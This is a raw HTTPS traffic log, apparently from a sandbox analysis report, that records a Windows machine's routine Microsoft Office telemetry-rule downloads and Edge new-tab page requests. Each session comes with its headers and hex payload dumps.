2024-11-16 18:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182228Z-16547b76f7fgfpmjhC1DFWw6ec00000002hg00000000ha3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49814	20.25.227.174	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoic1I0UjZ2WWs5QXA1L2xTcUFwOG5IQT09IiwgImhhc2giOiJTaDI3azE1M2NUbz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-16 18:22:29 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-16 18:22:29 UTC	248	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-16 18:22:29 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182229Z-16547b76f7f9s8x7hC1DFWywrg00000002zg000000007fen x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182229Z-16547b76f7fw2955hC1DFWsptc00000003k000000000qba5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 0e1cc1b7-001e-0066-7a9a-36561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182229Z-164f84587bfghdt4hC1DFWu5nn00000002vg00000000p3ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182229Z-16547b76f7fl5zvnhC1DFWtk9g00000001pg000000002geg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182229Z-16547b76f7fqqjnnhC1DFWxv7400000001b000000000pxn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:29 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49822	108.156.211.31	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	925	OUT	GET /b?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:29 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 16 Nov 2024 18:22:29 GMT Location: /b2?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=16Ef923e810bfd5306d50c71731781349; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=16Ef923e810bfd5306d50c71731781349; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 4851a1675ed7504166f406f376f2ccd8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: ZD2A-OJxHGgG6WOei8gTAOfOLdkkqWr9Y7YVXgNZuvan_spu6MFC9g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49821	20.125.209.212	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:29 UTC	1175	OUT	GET /c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
2024-11-16 18:22:30 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FD86DEFD7D344959BF644E1D8EF91D44&RedC=c.msn.com&MXFR=3A4078140C106EC03F536D2D0D356F1D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A4078140C106EC03F536D2D0D356F1D; domain=.msn.com; expires=Thu, 11-Dec-2025 18:22:30 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 16 Nov 2024 18:22:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49823	20.96.153.111	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A4078140C106EC03F536D2D0D356F1D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=05688ebeb5ae49f5c70808e8056ec89d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
2024-11-16 18:22:30 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 16 Nov 2024 18:22:29 GMT Connection: close
2024-11-16 18:22:30 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49826	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG4y.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:30 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 28 Oct 2024 22:14:11 GMT X-Datacenter: westus X-ActivityId: 41bbf1d4-9996-4b97-8f2c-f7362096315d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG4y X-Source-Length: 95919 Content-Length: 95919 Cache-Control: public, max-age=359488 Expires: Wed, 20 Nov 2024 22:13:58 GMT Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
